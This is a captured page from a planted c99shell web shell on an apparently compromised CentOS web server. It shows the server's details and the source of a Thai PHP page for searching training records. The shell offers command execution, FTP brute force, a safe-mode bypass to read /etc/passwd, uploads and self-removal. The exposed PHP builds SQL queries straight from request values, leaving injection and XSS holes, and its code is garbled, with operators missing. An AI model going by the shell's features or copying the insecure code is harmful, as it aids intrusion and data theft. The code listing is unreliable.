!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SearchTraningList.php (16.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
    
    
/**  Configuration  */
    
include( "./configuration.php" );
    require_once( 
$_Config_absolute_path "/includes/framework.php" );
    require_once( 
$_Config_absolute_path "/include/Function.php" );

    
/**  Create Database Object  */
    
$dbObj = new DBConn;
    
    
/**  Config Table for This Page  */
    
$myTable "formaoffice";
    
$myTablePK "Date_start";
    
$myTableField1 "Date_start";
    
$myTableField2 "Training_name";
    

    
/**  Paging */
    
$page $_GET['page'];
    if( 
$page == "" ) { $page 1; }
    
    
/**  Keyword and Field */
    
$keyword $_REQUEST['keyword'];
    
$selectTypeBook $_REQUEST['selectTypeBook'];
    
    
/**  จำนวนข้อมูล ต่อ 1 หน้า  */
    
$perpage $_REQUEST['perpage'];
    if( 
$perpage == "" ) { $perpage 50; }
    
    if( 
$Year == "" )
        
$Year date("Y")-543;
        
    
//**  Parameter  */
    
if(isset($_REQUEST['dateStart'])){
        
$param "dateStart=".$_REQUEST['dateStart']."&dateFinish=".$_REQUEST['dateFinish'].""
    }    
    
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title><?=$_Config_sitename;?> - ข้อมูลงานสารบรรณ - ข้อมูลรายการหนังสือรับ-ส่ง</title>
<script type="text/javascript" src="js/utilities.js"></script>
<script type="text/javascript" src="js/calendarDateInput3.js"></script>
<link href="css/default.css" rel="stylesheet" type="text/css" />
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include( "./templates/incHeader.php" );
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="215" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include( "templates/incMainMenuLeft.php" );?></td>
    <td width="788" align="center" valign="top" style="padding:10px 0px 5px 10px">
    <?php
        
/**  Config Paging  */
        
if( $perpage == "" ) { $limit $_Config_limit; }
        else { 
$limit $perpage; }
        
        
$scroll $_Config_scroll
        
        
/**  ตั้งค่า Default สำหรับการทำ Order By  */
        
if( $OrderBy == "" ) { $OrderBy $myTablePK; }
                        
        if( !isset(
$_GET['ASCDESC']) ) { $ASCDESC "ASC"; }
                        
        if( 
$_GET['ASCDESC'] == "ASC" ) { $ASCDESC "DESC"; } 
        elseif( 
$_GET['ASCDESC'] == "DESC" ) { $ASCDESC "ASC"; }
        
        
/**  Query เพื่อหา Numrows ก่อน  */
        
if(isset($_REQUEST['dateStart'])){
            
$query " SELECT *  FROM $myTable  WHERE Date_start >= '".dmyE2ymdT($_REQUEST['dateStart'])."'  AND Date_start <= '".dmyE2ymdT($_REQUEST['dateFinish'])."' ORDER BY Date_start DESC";
        }
        else{
            
$query " SELECT *  FROM $myTable WHERE Year_std = '".(date('Y')+543)."' ORDER BY Date_start DESC";
        }
        
$result $dbObj->execQuery($query);
        
$numrows $dbObj->_numrows;
        
//echo $query;
        
        /**  Paging  */
        
$display = ( !isset ($_GET['page']) ) ? $_GET['page'];
        
$start = ( ($display $limit) - $limit );
        
/**  Paging  */

        
$query .= " LIMIT $start, $limit ";
        
$result $dbObj->execQuery($query);
        
        
/*if( $keyword != "" ) { 
            if( $selectTypeBook != "" ) { 
                if( isset($_GET['OrderBy']) ) {
                    switch( $selectTypeBook ) {
                        case 1 :
                            $query = " SELECT *  FROM $myTable  WHERE  $myTableField1 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC ";
                            break;
                        case 2 :
                            $query = " SELECT *  FROM $myTable  WHERE   $myTableField2 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC ";
                            break;
                        case 3 :
                            $query = " SELECT *  FROM $myTable  WHERE   $myTableField3 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC ";
                            break;
                        case 4 :
                            $query = " SELECT *  FROM $myTable  WHERE   $myTableField4 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC ";
                            break;
                        case 5 :
                            $query = " SELECT *  FROM $myTable  WHERE   $myTableField5 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC ";
                            break;
                    } # switch
                } # if
                elseif( !isset($_GET['OrderBy']) ) {
                    switch( $selectTypeBook ) {
                        case 1 :
                            $query = " SELECT *  FROM $myTable  WHERE   $myTableField1 LIKE '%$keyword%'  
                              ORDER BY $myTablePK  ASC ";
                            break;
                        case 2 :
                            $query = " SELECT *  FROM $myTable  WHERE   $myTableField2 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC ";
                            break;
                        case 3 :
                            $query = " SELECT *  FROM $myTable  WHERE   $myTableField3 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC ";
                            break;
                        case 4 :
                            $query = " SELECT *  FROM $myTable  WHERE   $myTableField4 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC ";
                            break;
                        case 5 :
                            $query = " SELECT *  FROM $myTable  WHERE   $myTableField5 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC ";
                            break;
                    } # switch
                } # elseif
            } else {  // หาเฉพาะที่ใส่ Keyword
                if( isset($_GET['OrderBy']) ) {
                    $query = " SELECT *  FROM $myTable  WHERE   ( $myTableField1 LIKE '%$keyword%'  
                                       OR  $myTableField2 LIKE '%$keyword%'  OR  $myTableField3 LIKE '%$keyword%'  OR  $myTableField4 LIKE '%$keyword%'  
                                       OR  $myTableField5 LIKE '%$keyword%' )    ORDER BY  $OrderBy  $ASCDESC ";
                } 
                elseif( !isset($_GET['OrderBy']) ) {
                    $query = " SELECT *  FROM $myTable  WHERE     ( $myTableField1 LIKE '%$keyword%'   OR  $myTableField2 LIKE '%$keyword%'  OR  $myTableField3 LIKE '%$keyword%'  OR  $myTableField4 LIKE '%$keyword%'  
                                       OR  $myTableField5 LIKE '%$keyword%' )    ORDER BY  $myTablePK  ASC ";
                }
            } # else
        } else {
            if( isset($_GET['OrderBy']) ) {
                $query = " SELECT *  FROM $myTable    ORDER BY  $OrderBy  $ASCDESC ";
                //$query = " SELECT *  FROM $myTable  WHERE Date_start >= '".dmyT2ymdE($_REQUEST['dateStart'])."'  AND Date_finish <= '".dmyT2ymdE($_REQUEST['dateFinish'])."' ORDER BY  $OrderBy  $ASCDESC ";
            } 
            elseif( !isset($_GET['OrderBy']) ) {
                //$query = " SELECT *  FROM $myTable       ORDER BY  $myTablePK  ASC ";
                $query = " SELECT *  FROM $myTable  WHERE Date_start >= '".dmyE2ymdT($_REQUEST['dateStart'])."'  AND Date_start <= '".dmyE2ymdT($_REQUEST['dateFinish'])."' ORDER BY  $myTablePK  ASC ";
            } # elseif
        } # else

        $query .= " LIMIT $start, $limit ";
        $result = $dbObj->execQuery($query);*/
    
?>
     <fieldset><table width="770" border="0" cellspacing="0" cellpadding="0">
     <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?<?=$param;?>">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a> &raquo; <span class="NOTE">ค้นหาข้อมูลการไปราชการ</span></strong></td>
        </tr>
      <tr>
        <td><table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td height="10" colspan="2" align="right"></td>
          </tr>
          <tr>
            <td height="10" colspan="2" align="left"><span class="PADDING-TOP-10 PADDING-BOTTOM-10"><img src="images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong> &lsaquo; ย้อนกลับ</strong></a></span></td>
          </tr>
          <tr>
            <td height="10" colspan="2" align="right"></td>
            </tr>
          <tr>
            <td width="50%" align="left" style="padding-bottom:5px;">ทั้งหมด: <strong><span class="RED"><?=$numrows;?></span></strong> รายการ</td>
            <td width="50%" align="right" style="padding-bottom:5px;">จำนวนข้อมูลต่อหน้า
                <select name="perpage" id="perpage" onchange="document.myForm.perpage.value=this.value; document.myForm.submit();" style="font-size:9pt; color:darkblue">
                
                  <option value="30" <?php if( $perpage=="30" ) echo 'selected'?>>30</option>
                  <option value="50" <?php if( $perpage=="50" ) echo 'selected'?>>50</option>
                  <option value="100" <?php if( $perpage=="100" ) echo 'selected'?>>100</option>
                </select></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td align="center" valign="top"><?php if( $numrows ) { ?>
          <table width="750" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td height="35"><!--ค้นหา 
                <input name="keyword" type="text" value="<?=$keyword;?>" size="20" style="color:#FF0066" />
                <script type="text/javascript" src="../includes/popcalendar.js"></script>
                      <script language='JavaScript' type="text/javascript">
                if (!document.layers) {      
                    document.write("<img src='../images/ew_calendar.gif' width='16' height='15' style='cursor:hand;' onclick='popUpCalendar(this, myForm.keyword, \"yyyy-mm-dd\")'>")
                }
                        </script>
                              <span class="TEXT-ORANGE9">&lt;-- คลิ๊กที่นี่</span>
                
                <select name="selectTypeBook" id="selectTypeBook">
                  
                     <option value="1" <?php if( $selectTypeBook == "1" ) echo 'selected'?>>ว/ด/ป</option>  
                        <option value="2" <?php if( $selectTypeBook == "2" ) echo 'selected'?>>เรื่อง</option>
                </select >-->
                          <table width="100%">
                              <tr height="50">
                                <td width="122" height="60" >ค้นหา&nbsp;&nbsp;ตั้งแต่วันที่</td>
                                  <td width="179"><script>DateInput('dateStart', true, 'DD/MM/YYYY','<?=($_REQUEST['dateStart'])?$_REQUEST['dateStart']:date("d/m/Y");?>');</script></td>
                                  <td width="49">&nbsp;&nbsp;ถึงวันที่</td>
                                  <td width="188"><script>DateInput('dateFinish', true, 'DD/MM/YYYY','<?=($_REQUEST['dateFinish'])?$_REQUEST['dateFinish']:date("d/m/Y");?>');</script></td>
                                    <td width="49"><input type="submit" name="Submit" value="ค้นหา"  style="cursor:pointer" /></td>
                                    <td width="105"><a href="SearchTraningListToExcel.php?dateStart=<?=($_REQUEST['dateStart'])?$_REQUEST['dateStart']:date("d/m/Y");?>&dateFinish=<?=($_REQUEST['dateFinish'])?$_REQUEST['dateFinish']:date("d/m/Y");?>"><img src="picture/excel.gif" title="คลิ๊กที่นี่เพื่อส่งออกเป็นข้อมูล Excel" /></a></td>
                            </tr>
                          </table>
              </td>
            </tr>
          </table>
          <table width="763" border="0" align="center" cellpadding="0" cellspacing="0" class="BORDER-GREY">
            <tr bgcolor="#F0F0F0">
              <td width="31" height="25" align="center">No</td>
              <td colspan="3" align="center" class="BORDER-LEFT-RIGHT">รายละเอียด</td>
              <!--<td width="168" align="center" class="BORDER-LEFT-RIGHT">ชื่อ</td>
              <td width="392" align="center"><strong>รายละเอียด</strong></a></td>
              <td width="172" align="center" class="BORDER-LEFT">&nbsp;</td>-->
            </tr>
            <?php 
           $no 
1+($display-1)*$limit;
            while( 
$rs $dbObj->fetchArray($result) ) { 
                
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
          
?>
            <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
              <td height="23" align="center" class="BORDER-TOP"><?=$no;?></td>
              <td colspan="3" align="left" class="BORDER-TOP-LEFT PADDING-LEFT-5"><a href="javascript:;" onclick="NewWindow('TrainingDetail.php?Training_code=<?=$rs["Training_code"];?>','TrainingDetail','730','450','yes');"><? echo $rs['Orderlist'];?></a>
                <?php 
                $query 
" SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE  Teacher_code='$rs[Teacher_code]' ";
                    
$result1 $dbObj->execQuery($query);
                    
$rs1 $dbObj->fetchArray($result1);
                
$dbObj->freeresult($result1);
                        echo 
" $rs1[First_name]$rs1[Teacher_name] &nbsp;$rs1[Teacher_lastname]";
            
?>
                </a>
                <?php if( $rs['Training_name'] != "" ) echo $rs['Training_name']; else echo "&nbsp;"?>
                (
               <?php 
                $sday 
$rs['Date_start'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                echo 
"$day"." "."$m"." "."$year";
            
?>
                -
                <?php 
                $sday 
$rs['Date_finish'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                echo 
"$day"." "."$m"." "."$year";
            
?>
                ) </a></td>
            </tr>
            <?php 
               $no
++;
            } 
# while 
          
?>
          </table>
          <?php   } else { ?>
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td height="150" align="center"><span class="NOTE">ไม่พบรายการที่ค้นหา</span><br />
              <span class="TEXT-BLUE10">กรุณาลองใหม่อีกครั้ง</span><br /><br />
              <input type="button" name="button" id="button" value="&laquo; ย้อนกลับ" onclick="window.history.back();" /></td>
          </tr>
        </table>
        <?php  ?>
        <table width="99%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td><?php if( $numrows ) { ?>
              <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr>
                  <td height="10"></td>
                </tr>
                <tr>
                  <td align="left"><span style="font-size:12px">หน้า:
                    <?php
                        
/**  ตรวจสอบการ Order By ของ Query */
                        
if( $ASCDESC=="ASC") { $ASCDESC "DESC"; }  else { $ASCDESC="ASC"; } 
                        
                        
$paging ceil($numrows/$limit);
                                
                        
//=== Display the navigation
                        
if ($display 1) {    
                            
$previous $display 1;                    

                    
?>
                    <a href="<?=$PHP_SELF;?>?page=1&amp;perpage=<?=$perpage;?>&amp;<?=$param;?>&amp;ASCDESC=<?=$ASCDESC;?>"><font color="#FE830B">|&laquo; หน้าแรก</font></a>&nbsp; <a href="<?=$PHP_SELF;?>?page=<?=$previous;?>&amp;perpage=<?=$perpage;?>&amp;<?=$param;?>&amp;ASCDESC=<?=$ASCDESC;?>"><font color="#FE830B">&laquo; ก่อนหน้า</font></a>
                    <?php
                        
// end..if
                        
if($numrows != $limit) {                 
                            if(
$paging $scroll) { 
                                
$first $_GET['page']; 
                                
$last = ($scroll 1) + $_GET['page']; 
                            } else {                         
                                
$first 1;                        
                                
$last $paging;                        
                            } 
                            
                            if(
$last $paging ) {                            
                                
$first $paging - ($scroll 1);                            
                                
$last $paging;                            
                            }
                                            
                            for(
$i=$first$i<=$last$i++) {                        
                                if(
$display == $i) {        
                                    echo 
"<font color=red size=2> [<strong>$i</strong>] </font>";
                                } 
                                else {
                                    
printf(" <a href=\"%s?page=%s&perpage=%s&%s&ASCDESC=%s\">%s</a> "$_SERVER['PHP_SELF'], $i$perpage$param$ASCDESC$i );
                                }        
                            } 
// end..for
                        
// end..if
                            
                        
if($display $paging) {
                            
$next $display 1;                        
                    
?>
                    &nbsp;<a href="<?=$PHP_SELF;?>?page=<?=$next;?>&amp;perpage=<?=$perpage;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;<?=$param;?>"><font color="#FE830B">ถัดไป &raquo;</font></a> &nbsp;<a href="<?=$PHP_SELF;?>?page=<?=$paging;?>&amp;perpage=<?=$perpage;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;<?=$param;?>"><font color="#FE830B">หน้าสุดท้าย &raquo;|</font></a>
                    <?php
                    
// end..if
                
?>
                  </span></td>
                </tr>
              </table>
              <?php #if ?></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
    </fieldset></td>
  </tr>
</table>
<?php include( "./templates/incFooter.php" ); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0169 ]--